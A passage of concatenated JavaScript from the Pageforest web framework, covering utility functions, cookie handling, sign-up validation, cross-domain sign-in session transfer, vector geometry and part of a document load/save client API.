}).defineOnce();
return namespaceT;
}());
/* Begin file: base.js */
namespace.lookup('org.startpad.base').defineOnce(function(ns) {
var util = namespace.util;
/* Javascript Enumeration - build an object whose properties are
mapped to successive integers. Also allow setting specific values
by passing integers instead of strings. e.g. new ns.Enum("a", "b",
"c", 5, "d") -> {a:0, b:1, c:2, d:5}
*/
function Enum(args) {
var j = 0;
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] == "string") {
this[arguments[i]] = j++;
}
else {
j = arguments[i];
}
}
}
Enum.methods({
// Get the name of a enumerated value.
getName: function(value) {
for (var prop in this) {
if (this.hasOwnProperty(prop)) {
if (this[prop] == value)
return prop;
}
}
}
});
// Fast string concatenation buffer
function StBuf() {
this.rgst = [];
this.append.apply(this, arguments);
}
StBuf.methods({
append: function() {
for (var ist = 0; ist < arguments.length; ist++) {
this.rgst.push(arguments[ist].toString());
}
return this;
},
clear: function() {
this.rgst = [];
},
toString: function() {
return this.rgst.join("");
}
});
ns.extend({
extendObject: util.extendObject,
Enum: Enum,
StBuf: StBuf,
extendIfMissing: function(oDest, var_args) {
if (oDest == undefined) {
oDest = {};
}
for (var i = 1; i < arguments.length; i++) {
var oSource = arguments[i];
for (var prop in oSource) {
if (oSource.hasOwnProperty(prop) &&
oDest[prop] == undefined) {
oDest[prop] = oSource[prop];
}
}
}
return oDest;
},
// Deep copy properties in turn into dest object
extendDeep: function(dest) {
for (var i = 1; i < arguments.length; i++) {
var src = arguments[i];
for (var prop in src) {
if (src.hasOwnProperty(prop)) {
if (src[prop] instanceof Array) {
dest[prop] = [];
ns.extendDeep(dest[prop], src[prop]);
}
else if (src[prop] instanceof Object) {
dest[prop] = {};
ns.extendDeep(dest[prop], src[prop]);
}
else {
dest[prop] = src[prop];
}
}
}
}
},
randomInt: function(n) {
return Math.floor(Math.random() * n);
},
strip: function(s) {
return (s || "").replace(/^\s+|\s+$/g, "");
},
/* Return new object with just the listed properties "projected"
into the new object */
project: function(obj, asProps) {
var objT = {};
for (var i = 0; i < asProps.length; i++) {
objT[asProps[i]] = obj[asProps[i]];
}
return objT;
},
/* Sort elements and remove duplicates from array (modified in place) */
uniqueArray: function(a) {
if (!a) {
return;
}
a.sort();
for (var i = 1; i < a.length; i++) {
if (a[i - 1] == a[i]) {
a.splice(i, 1);
}
}
},
map: function(a, fn) {
var aRes = [];
for (var i = 0; i < a.length; i++) {
aRes.push(fn(a[i]));
}
return aRes;
},
filter: function(a, fn) {
var aRes = [];
for (var i = 0; i < a.length; i++) {
if (fn(a[i])) {
aRes.push(a[i]);
}
}
return aRes;
},
reduce: function(a, fn) {
if (a.length < 2) {
return a[0];
}
var res = a[0];
for (var i = 1; i < a.length - 1; i++) {
res = fn(res, a[i]);
}
return res;
}
});
}); // startpad.base
/* Begin file: random.js */
namespace.lookup("com.pageforest.random").defineOnce(function(ns) {
ns.upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
ns.lower = 'abcdefghijklmnopqrstuvwxyz';
ns.digits = '0123456789';
ns.base64 = ns.upper + ns.lower + ns.digits + '+/';
ns.base64url = ns.upper + ns.lower + ns.digits + '-_';
ns.hexdigits = ns.digits + 'abcdef';
ns.randomString = function(len, chars) {
if (typeof chars == 'undefined') {
chars = ns.base64url;
}
var radix = chars.length;
var result = [];
for (var i = 0; i < len; i++) {
result[i] = chars[0 | Math.random() * radix];
}
return result.join('');
};
}); // com.pageforest.random
/* Begin file: cookies.js */
namespace.lookup('org.startpad.cookies').define(function(ns) {
/*
Client-side cookie reader and writing helper.
Cookies can be quoted with "..." if they have spaces or other
special characters. Internal quotes may be escaped with a \
character These routines use encodeURIComponent to safely encode
and decode all special characters.
*/
var base = namespace.lookup('org.startpad.base');
ns.extend({
setCookie: function(name, value, days, path) {
var expires = '';
if (days) {
var date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toGMTString();
}
path = '; path=' + (path || '/');
document.cookie =
encodeURIComponent(name) + '=' + encodeURIComponent(value)
+ expires + path;
},
getCookie: function(name) {
return ns.getCookies()[name];
},
getCookies: function(name) {
var st = document.cookie;
var rgPairs = st.split(";");
var obj = {};
for (var i = 0; i < rgPairs.length; i++) {
// document.cookie never returns ;max-age, ;secure, etc. - just name value pairs
rgPairs[i] = base.strip(rgPairs[i]);
var rgC = rgPairs[i].split("=");
var val = decodeURIComponent(rgC[1]);
// Remove quotes around value string if any (and also replaces \" with ")
var rg = val.match('^"(.*)"$');
if (rg)
val = rg[1].replace('\\"', '"');
obj[decodeURIComponent(rgC[0])] = val;
}
return obj;
}}); // ns
}); // org.startpad.cookies
/* Begin file: registration.js */
namespace.lookup('com.pageforest.registration').define(function(ns) {
var util = namespace.util;
function html_message(name, message) {
if ($("#id_" + name).val() === '') {
return '';
}
if (message) {
return '<span class="error">' + message + '</span>';
}
return '<span class="success">OK</span>';
}
function validate_success(message, status, xhr) {
var fields = {"username": "username", "email": "email",
"password": "<PASSWORD>", "repeat": "__all__"};
for (var name in fields) {
if (fields.hasOwnProperty(name)) {
$("#validate_" + name).html(
html_message(name, message[fields[name]]));
}
}
}
function validate_error(xhr, status, message) {
console.error(xhr);
}
function validate_if_changed() {
var data = {
username: $("#id_username").val(),
email: $("#id_email").val(),
password: $("#<PASSWORD>").val(),
repeat: $("#id_repeat").val(),
tos: $("#id_tos").attr('checked') ? 'checked' : '',
validate: true
};
var oneline = [data.username, data.email,
data.password, data.repeat];
oneline = oneline.join('~');
if (oneline == ns.previous) {
return;
}
ns.previous = oneline;
$.ajax({
type: "POST",
url: "/sign-up/",
data: data,
dataType: "json",
success: validate_success,
error: validate_error
});
}
function document_ready() {
ns.previous = '~~~';
// Validate in the background
setInterval(validate_if_changed, 3000);
$("#id_tos").click(function() {
$("#validate_tos").html('');
});
}
// Request a new email verification for the signed in user.
function resend() {
console.log("resend");
$.ajax({
type: "POST",
url: "/email-verify/",
data: {resend: true},
dataType: "json",
success: validate_success,
error: validate_error
});
}
ns.extend({
document_ready: document_ready,
resend: resend
});
}); // com.pageforest.registration
/* Begin file: sign-in-form.js */
namespace.lookup('com.pageforest.auth.sign-in-form').define(function(ns) {
/*
Handle logging a user into Pageforest and optionally also log
them in to a Pageforest application.
A logged in use will get a session key on www.pageforest.com.
This script makes requests to appid.pageforest.com in order to
get a cookie set on the application domain when the user wants
to allow the application access to his store.
*/
var cookies = namespace.lookup('org.startpad.cookies');
ns.extend({
// Check if user is already logged in.
documentReady: function(username, appId) {
ns.appId = appId;
ns.appAuthURL = ns.getAppDomain(appId) + '/auth/';
// Check for a (session) cookie with the application
// session key. We clear it once used so it doesn't get
// retransmitted. This could be used to either sign-in OR
// sign-out of the application.
var sessionName = appId + "-sessionkey";
var appSession = cookies.getCookies()[sessionName];
console.log("appSession: ", appSession);
if (appSession != undefined) {
cookies.setCookie(sessionName, 'expired', -1);
ns.transferSession(appSession);
}
// Nothing to do until the user signs in - page will reload
// on form post.
if (!username) {
return;
}
// Just logging in to pageforest - done.
if (!appId) {
ns.closeForm();
return;
}
// Check (once) if we're also currently logged in @ appId
// without having to sign-in again.
// REVIEW: Isn't this insecure?
ns.getString(ns.appAuthURL + "username/", function(username) {
// We're already logged in!
if (typeof(username) == 'string') {
ns.closeForm();
return;
}
});
},
transferSession: function(sessionKey) {
// Send a valid appId sessionKey to the app domain
// to get it installed on a cookie.
ns.getString(ns.appAuthURL + "set-session/" + sessionKey, function (s) {
if (typeof(s) != 'string') {
return;
}
// Close the window if this was used to sign in to the app.
if (sessionKey)
ns.closeForm();
});
},
// www.pageforest.com -> app.pageforest.com
// pageforest.com -> app.pageforest.com
getAppDomain: function(appId) {
var parts = window.location.host.split('.');
if (parts[0] == 'www')
parts[0] = appId;
else
parts.splice(0, 0, appId);
return parts.join('.');
},
// Use JSONP to read the username from the cross-site application.
getString: function(url, fn) {
url = "http://" + url;
$.ajax({
type: "GET",
url: url,
dataType: "jsonp",
success: fn,
error: function() {
fn({status:500});
}
});
},
// Display success, and close window in 5 seconds.
closeForm: function() {
function closeFinal() {
// Close the window if we were opened by a cross-site script
window.close();
}
if (ns.appId)
$(".have_app").show();
$(".want_app").hide();
setTimeout(closeFinal, 2000);
}
}); // ns.extend
}); // com.pageforest.sign-in-form
<file_sep>// --------------------------------------------------------------------------
// Vector Functions
// --------------------------------------------------------------------------
namespace.lookup('org.startpad.vector').defineOnce(function(ns) {
var util = namespace.util;
var x = 0;
var y = 1;
var x2 = 2;
var y2 = 3;
var regNums = {
'ul': 0,
'top': 1,
'ur': 2,
'left': 3,
'center': 4,
'right': 5,
'll': 6,
'bottom': 7,
'lr': 8
};
// Subtract second vector from first (in place).
function subFrom(v1, v2) {
for (var i = 0; i < v1.length; i++) {
v1[i] = v1[i] - v2[i % v2.length];
}
return v1;
}
// Append all arrays into a new array (append(v) is same as copy(v)
function copy() {
var v1 = Array.prototype.concat.apply([], arguments);
return v1;
}
function sub(v1, v2) {
var vDiff = copy(v1);
return subFrom(vDiff, v2);
}
// In-place vector addition
// If smaller arrays are added to larger ones, they wrap around
// so that points can be added to rects, for example.
function addTo(vSum) {
for (var iarg = 1; iarg < arguments.length; iarg++) {
var v = arguments[iarg];
for (var i = 0; i < vSum.length; i++) {
vSum[i] += v[i % v.length];
}
}
return vSum;
}
// Add corresponding elements of all arguments
function add() {
var vSum = copy(arguments[0]);
var args = util.copyArray(arguments);
args[0] = vSum;
return addTo.apply(undefined, args);
}
// Return new vector with element-wise max All arguments must
// be same dimensioned array.
// TODO: Allow mixing scalars - share code with mult -
// iterator/callback pattern
function max() {
var vMax = copy(arguments[0]);
for (var iarg = 1; iarg < arguments.length; iarg++) {
var v = arguments[iarg];
for (var i = 0; i < vMax.length; i++) {
if (v[i] > vMax[i]) {
vMax[i] = v[i];
}
}
}
return vMax;
}
// Multiply corresponding elements of all arguments (including scalars)
// All vectors must be the same dimension (length).
function mult() {
var vProd = 1;
var i;
for (var iarg = 0; iarg < arguments.length; iarg++) {
var v = arguments[iarg];
if (typeof v === "number") {
// mult(scalar, scalar)
if (typeof vProd === "number") {
vProd *= v;
}
// mult(vector, scalar)
else {
for (i = 0; i < vProd.length; i++) {
vProd[i] *= v;
}
}
}
else {
// mult(scalar, vector)
if (typeof vProd === "number") {
var vT = vProd;
vProd = copy(v);
for (i = 0; i < vProd.length; i++) {
vProd[i] *= vT;
}
}
// mult(vector, vector)
else {
if (v.length !== vProd.length) {
throw new Error("Mismatched Vector Size");
}
for (i = 0; i < vProd.length; i++) {
vProd[i] *= v[i];
}
}
}
}
return vProd;
}
function floor(v) {
var vFloor = [];
for (var i = 0; i < v.length; i++) {
vFloor[i] = Math.floor(v[i]);
}
return vFloor;
}
function dotProduct() {
var v = mult.apply(undefined, arguments);
var s = 0;
for (var i = 0; i < v.length; i++) {
s += v[i];
}
return s;
}
// Do a (deep) comparison of two arrays. Any embeded objects
// are assumed to also be arrays of scalars or other arrays.
function equal(v1, v2) {
if (v1.length != v2.length) {
return false;
}
for (var i = 0; i < v1.length; i++) {
if (typeof v1[i] != typeof v2[i]) {
return false;
}
if (typeof v1[i] == "object") {
if (!equal(v1[i], v2[i])) {
return false;
}
} else {
if (v1[i] != v2[i]) {
return false;
}
}
}
return true;
}
// Routines for dealing with Points [x, y] and Rects [left,
// top, bottom, right]
function ul(rc) {
return rc.slice(0, 2);
}
function lr(rc) {
return rc.slice(2, 4);
}
function size(rc) {
return sub(lr(rc), ul(rc));
}
function area(rc) {
var dv = size(rc);
return dv[0] * dv[1];
}
function numInRange(num, numMin, numMax) {
return num >= numMin && num <= numMax;
}
function clipToRange(num, numMin, numMax) {
if (num < numMin) {
return numMin;
}
if (num > numMax) {
return numMax;
}
return num;
}
function ptInRect(pt, rc) {
return numInRange(pt[x], rc[x], rc[x2]) &&
numInRange(pt[y], rc[y], rc[y2]);
}
function ptClipToRect(pt, rc) {
return [clipToRange(pt[x], rc[x], rc[x2]),
clipToRange(pt[y], rc[y], rc[y2])];
}
function rcClipToRect(rc, rcClip) {
return copy(ptClipToRect(ul(rc), rcClip),
ptClipToRect(lr(rc), rcClip));
}
// Return pt (1-scale) * ul + scale * lr
function ptCenter(rc, scale) {
if (scale === undefined) {
scale = 0.5;
}
if (typeof scale === "number") {
scale = [scale, scale];
}
var pt = mult(scale, lr(rc));
scale = sub([1, 1], scale);
addTo(pt, mult(scale, ul(rc)));
return pt;
}
function rcExpand(rc, ptSize) {
var rcExp = copy(sub(ul(rc), ptSize),
add(lr(rc), ptSize));
// If array bounds are inverted - make a zero-dimension
// at the midpoint between the original coordinates.
var ptC = ptCenter(rc);
if (rcExp[x] > rcExp[x2]) {
rcExp[x] = rcExp[x2] = ptC[x];
}
if (rcExp[y] > rcExp[y2]) {
rcExp[y] = rcExp[y2] = ptC[y];
}
return rcExp;
}
function keepInRect(rcIn, rcBound) {
// First, make sure the rectangle is not bigger than
// either bound dimension
var ptFixSize = max([0, 0], sub(size(rcIn),
size(rcBound)));
rcIn[x2] -= ptFixSize[x];
rcIn[y2] -= ptFixSize[y];
// Now move the rectangle to be totally within the bounds
var dx = 0;
var dy = 0;
dx = Math.max(0, rcBound[x] - rcIn[x]);
dy = Math.max(0, rcBound[y] - rcIn[y]);
if (dx == 0) {
dx = Math.min(0, rcBound[x2] - rcIn[x2]);
}
if (dy == 0) {
dy = Math.min(0, rcBound[y2] - rcIn[y2]);
}
addTo(rcIn, [dx, dy]);
}
// ptRegistration - return one of 9 registration points of a rectangle
// 0 1 2
// 3 4 5
// 6 7 8
function ptRegistration(rc, reg) {
if (typeof reg == 'string') {
reg = regNums[reg];
}
var xScale = (reg % 3) * 0.5;
var yScale = Math.floor(reg / 3) * 0.5;
return ptCenter(rc, [xScale, yScale]);
}
function magnitude2(v1) {
var d2 = 0;
for (var i = 0; i < v1.length; i++) {
d2 += Math.pow(v1[i], 2);
}
return d2;
}
// Return square of distance between to "points" (N-dimensional)
function distance2(v1, v2) {
var dv = sub(v2, v1);
return magnitude2(dv);
}
function unitVector(v1) {
var m2 = magnitude2(v1);
return mult(v1, 1 / Math.sqrt(m2));
}
// Find the closest point to the given point
// (multiple) arguments can be points, or arrays of points
// Returns [i, pt] result
function iPtClosest(pt) {
var d2Min;
var ptClosest;
var iClosest;
var d2;
var iPt = 0;
for (var iarg = 1; iarg < arguments.length; iarg++) {
var v = arguments[iarg];
// Looks like a single point
if (typeof v[0] == "number") {
d2 = distance2(pt, v);
if (d2Min == undefined || d2 < d2Min) {
d2Min = d2;
ptClosest = v;
iClosest = iPt;
}
iPt++;
}
// Looks like an array of points
else {
for (var i = 0; i < v.length; i++) {
var vT = v[i];
d2 = distance2(pt, vT);
if (d2Min == undefined || d2 < d2Min) {
d2Min = d2;
ptClosest = vT;
iClosest = iPt;
}
iPt++;
}
}
}
return [iClosest, ptClosest];
}
function iRegClosest(pt, rc) {
var aPoints = [];
for (var i = 0; i < 9; i++) {
aPoints.push(ptRegistration(rc, i));
}
return iPtClosest(pt, aPoints)[0];
}
// Move a rectangle so that one of it's registration
// points is located at a given point.
function alignRect(rc, reg, ptTo) {
var ptFrom = ptRegistration(rc, reg);
return add(rc, sub(ptTo, ptFrom));
}
// Move or resize the rectangle based on the registration
// point to be modified. Center (4) moves the whole rect.
// Others resize one or more edges of the rectangle
function rcDeltaReg(rc, dpt, iReg, ptSizeMin, rcBounds) {
var rcT;
if (iReg == 4) {
rcT = add(rc, dpt);
if (rcBounds) {
keepInRect(rcT, rcBounds);
}
return rcT;
}
var iX = iReg % 3;
if (iX == 1) {
iX = undefined;
}
var iY = Math.floor(iReg / 3);
if (iY == 1) {
iY = undefined;
}
function applyDelta(rc, dpt) {
var rcDelta = [0, 0, 0, 0];
if (iX != undefined) {
rcDelta[iX] = dpt[0];
}
if (iY != undefined) {
rcDelta[iY + 1] = dpt[1];
}
return add(rc, rcDelta);
}
rcT = applyDelta(rc, dpt);
// Ensure the rectangle is not less than the minimum size
if (!ptSizeMin) {
ptSizeMin = [0, 0];
}
var ptSize = size(rcT);
var ptFixSize = max([0, 0], sub(ptSizeMin, ptSize));
if (iX == 0) {
ptFixSize[0] *= -1;
}
if (iY == 0) {
ptFixSize[1] *= -1;
}
rcT = applyDelta(rcT, ptFixSize);
// Ensure rectangle is not outside the bounding box
if (rcBounds) {
keepInRect(rcT, rcBounds);
}
return rcT;
}
// Return the bounding box of the collection of pt's and rect's
function boundingBox() {
var vPoints = copy.apply(undefined, arguments);
if (vPoints.length % 2 !== 0) {
throw new Error("Invalid arguments to boundingBox");
}
var ptMin = vPoints.slice(0, 2),
ptMax = vPoints.slice(0, 2);
for (var ipt = 2; ipt < vPoints.length; ipt += 2) {
var pt = vPoints.slice(ipt, ipt + 2);
if (pt[0] < ptMin[0]) {
ptMin[0] = pt[0];
}
if (pt[1] < ptMin[1]) {
ptMin[1] = pt[1];
}
if (pt[0] > ptMax[0]) {
ptMax[0] = pt[0];
}
if (pt[1] > ptMax[1]) {
ptMax[1] = pt[1];
}
}
return [ptMin[0], ptMin[1], ptMax[0], ptMax[1]];
}
ns.extend({
'x': x,
'y': y,
'x2': x2,
'y2': y2,
'equal': equal,
'sub': sub,
'subFrom': subFrom,
'add': add,
'addTo': addTo,
'max': max,
'mult': mult,
'distance2': distance2,
'magnitude2': magnitude2,
'unitVector': unitVector,
'floor': floor,
'dotProduct': dotProduct,
'ul': ul,
'lr': lr,
'copy': copy,
'append': copy,
'size': size,
'area': area,
'numInRange': numInRange,
'clipToRange': clipToRange,
'ptInRect': ptInRect,
'ptClipToRect': ptClipToRect,
'rcClipToRect': rcClipToRect,
'ptCenter': ptCenter,
'boundingBox': boundingBox,
'ptRegistration': ptRegistration,
'rcExpand': rcExpand,
'alignRect': alignRect,
'keepInRect': keepInRect,
'iRegClosest': iRegClosest,
'rcDeltaReg': rcDeltaReg
});
}); // startpad.vector
<file_sep>/*
client.js - Pageforest client api for sign in, save, load, and url
management.
*/
/*global jQuery $ */
namespace.lookup('com.pageforest.client').define(function (exports) {
var require = namespace.lookup;
var util = namespace.util;
var storage = require('com.pageforest.storage');
var cookies = require('org.startpad.cookies');
var base = require('org.startpad.base');
var format = require('org.startpad.format');
var dom = require('org.startpad.dom');
var dialog = require('org.startpad.dialog');
var vector = require('org.startpad.vector');
var random = require('org.startpad.random');
// Exports
exports.extend({
VERSION: "0.7.0",
Client: Client
});
// Error messages
var discardMessage = "You will lose your document changes if you continue.";
var jQueryMessage = "jQuery must be installed to use this library.";
var unloadMessage = "You will lose your changes if you leave " +
"the document without saving.";
var noSetDocMessage = "This app does not have a setDoc method " +
"and so cannot be loaded.";
var noGetDocMessage = "This app does not have a getDoc method " +
"and so cannot be saved.";
var noAppMessage = "Warning: no app object provided - " +
"only direct storage api's can be used.";
var autoLoadError = "Not autoloading: ";
var docProps = ['title', 'docid', 'tags',
'owner', 'readers', 'writers',
'created', 'modified'];
// The application calls Client, and implements the following methods:
// app.setDoc(jsonDocument) - Called when a new document is loaded.
// app.getDoc() - Called to get the json data to be saved.
// app.onSaveSuccess(status) - successfully saved.
// app.onError(status, errorMessage) - Called when we get an error
// reading or writing a document (optional).
// app.onUserChange(username) - Called when the user signs in or signs out
// app.onStateChange(new, old) - Notify app about current state changes.
// app.onInfo(code, message) - Informational messages about the client
// status.
// app.getDocid() - Override to change behavior of getting document id from url.
// app.setDocid() - "
function Client(app, options) {
if (typeof jQuery != 'function') {
this.onError('jQuery_required', jQueryMessage);
return;
}
// Make a dummy app if none given - but warn the developer.
if (app == undefined) {
this.log(noAppMessage, {level: 'warn'});
app = {};
}
this.app = app;
this.errorHandler = this.errorHandler.fnMethod(this);
this.poll = this.poll.fnMethod(this);
this.storage = new storage.Storage(this);
var defaultOptions = {
oneDocPerUser: false,
fLogging: true,
saveInterval: 60,
autoLoad: false,
pollInterval: 1000
};
util.extendObject(this, defaultOptions, options);
this.meta = {};
this.metaDoc = {};
this.metaDialog = {};
this.appHost = window.location.host;
var dot = this.appHost.indexOf('.');
this.appid = this.appHost.substr(0, dot);
this.wwwHost = 'www' + this.appHost.substr(dot);
this.state = 'init';
this.username = undefined;
this.logged = {};
this.lastDocid = undefined;
this.fFirstPoll = true;
this.uid = random.randomString(20);
// Auto save every 60 seconds
if (typeof app.getDoc == 'function') {
this.emptyDoc = app.getDoc();
}
// Note that we cannot kick off a poll() until this constructor
// returns as the app's callbacks likely depend on completing their
// initialization.
setInterval(this.poll, this.pollInterval);
setTimeout(this.poll, 0);
// Note that jquery.unload happens too late?
window.onbeforeunload = this.beforeUnload.fnMethod(this);
}
Client.methods({
/* These methods are related to document state management. The
application has a "current document" state (clean, dirty,
loading, or saving).
load - load a document as the current document.
save - save the current document.
detach - disassociate the current document from a saved docid.
setCleanDoc - mark the document as 'clean' and update the
browser address.
checkDoc - polls to see if a document has changed.
addAppBar - add a standards user interface element
*/
getDocURL: function(blobid) {
if (this.docid == undefined) {
return undefined;
}
return this.storage.getDocURL(this.docid, blobid);
},
// Load a document as the default document for this running application.
load: function (docid) {
if (!docid) {
return;
}
if (this.app.setDoc == undefined) {
this.log(noSetDocMessage, {level: 'warn', once: true});
return;
}
// Your data is on notice.
if (this.isDirty()) {
if (!this.confirmDiscard()) {
return;
}
// Your data is dead to me.
this.changeState('clean');
}
// REVIEW: What to do about race condition if already
// loading or saving?
this.stateSave = this.state;
this.docid = docid;
this.changeState('loading');
var self = this;
this.storage.getDoc(docid, undefined, function (doc) {
// If we're actually loading a blob - there is no docid returned.
if (doc.doc_id == undefined) {
doc.doc_id = docid;
}
self.setDoc(doc);
});
},
save: function (json, docid) {
// BUG: If called by client to force a save - then this
// is a no-op - but the doc might be dirty - esp if
// we are not autosaving and polling for dirty state!
if (!json && this.isSaved()) {
return;
}
if (json == undefined) {
json = this.getDoc();
}
docid = this.ensureDocid(docid || this.docid || json.docid);
this.stateSave = this.state;
this.changeState('saving');
var self = this;
this.storage.putDoc(docid, json, undefined, function(result) {
self.onSaveSuccess(result);
});
},
ensureDocid: function(docid) {
if (docid) {
return docid;
}
return format.slugify([this.username, base.randomInt(10000)].join(' '));
},
onSaveSuccess: function(result) {
base.extendIfChanged(this.meta, this.metaDoc,
base.project(result,
['modified', 'owner', 'sha1']));
// If the docid is not in the result - just use the original docid.
// REVIEW: get rid of this.docid and use this.meta.docid always?
this.setCleanDoc(result.docid || this.docid || this.meta.docid);
if (this.app.onSaveSuccess) {
this.app.onSaveSuccess(result);
}
},
// Detach the current document from it's storage.
detach: function() {
this.meta.owner = this.metaDoc.owner = undefined;
this.meta.modified = this.metaDoc.modified = undefined;
this.setCleanDoc();
this.setDirty();
},
// Get document properties from client and merge with last
// saved meta properties.
getDoc: function() {
var doc = typeof this.app.getDoc == 'function' && this.app.getDoc();
if (typeof doc != 'object') {
this.log(noGetDocMessage, {level: 'warn', once: true});
doc = {};
}
base.extendIfMissing(doc, {'title': document.title});
// Synchronize any changes made in the dialog or
// the document.
var fDoc = base.extendIfChanged(this.meta, this.metaDoc,
base.project(doc, docProps));
base.extendIfChanged(this.meta, this.metaDialog,
this.getAppPanelValues());
base.extendObject(doc, this.meta);
return doc;
},
// Set document - retaining meta properties for later use.
setDoc: function(doc) {
this.meta = base.project(doc, docProps);
this.app.setDoc(doc);
this.setCleanDoc(doc.doc_id);
},
// Callback function for auto-load subscribtion
// TODO: Compare Sha1 hashes - not modified date to ignore a notify
onAutoLoad: function (message) {
if (!this.autoLoad || this.state != 'clean' ||
message.key != this.docid.toLowerCase() + '/' ||
message.data.modified.isoformat == this.meta.modified.isoformat) {
this.log(autoLoadError + message.key);
return;
}
this.load(this.docid);
},
// Set the document to the clean state.
// If docid is undefined, set to the "new" document state.
// If preserveHash, we don't modify the URL
setCleanDoc: function(docid, preserveDocid) {
this.docid = this.meta.docid = docid;
this.changeState('clean');
// Remember the clean state of the document
this.lastJSON = storage.jsonToString(this.getDoc());
// Subscribe to document changes if we're an auto-load document
if (this.autoLoad && this.docid != undefined) {
if (!this.storage.hasSubscription(this.docid)) {
this.storage.subscribe(this.docid, undefined,
{exclusive: true},
this.onAutoLoad.fnMethod(this));
}
}
// Update App Panel if it's open
this.setAppPanelValues(this.meta);
// Enable polling to kick off a load().
if (preserveDocid) {
this.lastDocid = undefined;
return;
}
this.setDocid(docid);
},
// See if the document data has changed - assume this is not
// expensive as we execute this on a timer.
checkDoc: function() {
// No auto-saving - do nothing
if (this.saveInterval == 0) {
return;
}
// See if it's time to do an auto-save
if (this.isDirty()) {
if (this.username == undefined) {
return;
}
var now = new Date().getTime();
if (now - this.dirtyTime > this.saveInterval * 1000) {
// Don't try again for another saveInterval in case
// the save fails.
this.dirtyTime = now;
this.save();
}
return;
}
// Don't do anything if we're saving or loading.
if (this.state != 'clean') {
return;
}
// Document looks clean - see if it's changed since we last
// checked.
// TODO: Don't get the document if the app has it's own
// isDirty function.
var json = storage.jsonToString(this.getDoc());
if (json != this.lastJSON) {
this.setDirty();
}
},
confirmDiscard: function() {
if (this.app.confirmDiscard) {
return this.app.confirmDiscard();
}
return confirm(discardMessage);
},
setDirty: function(fDirty) {
if (fDirty == undefined) {
fDirty = true;
}
// Save the first dirty time
if (!this.isDirty() && fDirty) {
this.dirtyTime = new Date().getTime();
}
// REVIEW: What if we are loading or saving? Does this
// cancel a load?
this.changeState(fDirty ? 'dirty' : 'clean');
},
isDirty: function() {
return this.state == 'dirty';
},
isSaved: function() {
return this.state == 'clean' && this.docid != undefined;
},
canSave: function() {
return this.username != undefined &&
(this.docid == undefined ||
(this.username == this.meta.owner ||
base.indexOf(this.username, this.meta.writers)) != -1);
},
changeState: function(state) {
if (state == this.state) {
return;
}
var stateOld = this.state;
this.state = state;
this.log("state:" + stateOld + ' -> ' + state);
if (this.app.onStateChange) {
this.app.onStateChange(state, stateOld);
}
if (this.appBar) {
// Only disable the save button if the doc is already saved
// by the current user.
if (this.isSaved() && this.canSave()) {
jQuery('#pfSave').addClass('disabled');
}
else {
jQuery('#pfSave').removeClass('disabled');
}
}
},
// The user is about to navigate away from the page - we want to
// alert the user if he might lose changes.
beforeUnload: function(evt) {
var message;
evt = evt || window.event;
if (this.state != 'clean') {
message = unloadMessage;
if (this.app.beforeUnload) {
message = this.app.beforeUnload();
}
evt.returnValue = message;
return message;
}
},
setLogging: function(f) {
f = (f == undefined) ? true : f;
this.fLogging = f;
},
log: function(message, options) {
if (!this.fLogging) {
return;
}
if (options == undefined) {
options = {};
}
if (!options.hasOwnProperty('level')) {
options.level = 'log';
}
if (options.once) {
if (this.logged[message]) {
return;
}
this.logged[message] = true;
}
if (options.hasOwnProperty('obj')) {
console[options.level](message, options.obj);
} else {
console[options.level](message);
}
},
errorHandler: function (xmlhttp, textStatus, errorThrown) {
var message;
var skipError = false;
if (this.state == 'loading' && this.emptyDoc) {
this.app.setDoc(this.emptyDoc);
skipError = this.oneDocPerUser;
}
if (this.stateSave) {
this.changeState(this.stateSave);
this.stateSave = undefined;
}
if (skipError) {
return;
}
var code = 'ajax_error/' + xmlhttp.status;
message = xmlhttp.responseText;
try {
var json = JSON.parse(message);
if (json.statusText) {
message = json.statusText;
}
} catch (e) {
if (message.length > 100) {
message = xmlhttp.statusText;
}
}
this.onError(code, message);
},
onError: function(status, message) {
this.log(message + ' (' + status + ')');
if (this.app.onError) {
if (this.app.onError(status, message)) {
return;
}
}
this.showError(message);
},
onInfo: function(code, message) {
this.log(message + ' (' + code + ')');
if (this.app.onInfo) {
this.app.onInfo(code, message);
}
},
// This function called to get the current document id - when it
// changes, a load() will be automatically started. Should return
// undefined if no current document is set.
// The default behavior is to read the #hash from the URL.
getDocid: function () {
var hash;
if (this.oneDocPerUser) {
return this.username;
}
if (this.app.getDocid) {
return this.app.getDocid();
}
hash = window.location.hash.substr(1);
return hash == '' ? undefined : hash;
},
// The app can provide a setDocid function, if it want's to
// display (or store) the current docid. The default implementation
// writes in the the URL #hash.
setDocid: function (docid) {
this.lastDocid = docid;
if (this.oneDocPerUser) {
return;
}
if (this.app.setDocid) {
return this.app.setDocid(docid);
}
window.location.hash = docid == undefined ? '' : docid;
},
// Periodically poll for changes in the URL and state of user sign-in
// Could start loading a new document
poll: function () {
var docid;
// Callbacks to app are deferred until poll is called.
if (this.state == 'init') {
if (this.getDoc) {
this.setCleanDoc(undefined, true);
}
}
if (this.isAppPanelOpen()) {
return;
}
// Check for change in docid to trigger a load.
docid = this.getDocid();
if (this.lastDocid != docid) {
this.lastDocid = docid;
this.load(docid);
}
this.checkUsername();
this.checkDoc();
this.fFirstPoll = false;
},
// See if the user sign-in state has changed by polling the cookie
// TODO: Need to do a JSONP call to get the username if not hosting
// on appid.pageforest.com.
checkUsername: function () {
var sessionUser = cookies.getCookie('sessionuser');
// User is signed in
if (sessionUser != undefined) {
if (sessionUser != this.username) {
this.username = sessionUser;
this.onUserChange(this.username);
}
return;
}
// User is signed out
if (this.username || this.fFirstPoll) {
this.username = undefined;
this.onUserChange(this.username);
}
},
onUserChange: function() {
this.log("user: " + this.username);
this.updateAppBar();
if (this.app.onUserChange) {
this.app.onUserChange(this.username);
}
},
updateAppBar: function () {
if (this.appBar) {
var isSignedIn = this.username != undefined;
if (isSignedIn) {
jQuery('#pfWelcome').show();
jQuery('#pfUsername')
.text(isSignedIn ? this.username : 'anonymous')
.show();
} else {
jQuery('#pfWelcome').hide();
jQuery('#pfUsername').hide();
}
jQuery('#pfSignIn').text(isSignedIn ? 'Sign Out' : 'Sign In');
}
},
// Add a standard user interface to the web page.
addAppBar: function() {
var htmlAppBar =
'<div id="pfAppBarBox">' +
'<div class="pfLeft"></div>' +
'<div class="pfCenter">' +
'{welcome}' +
'<span class="pfLink" id="pfUsername"></span>' +
'<span class="pfLink" id="pfSignIn">Sign In</span>' +
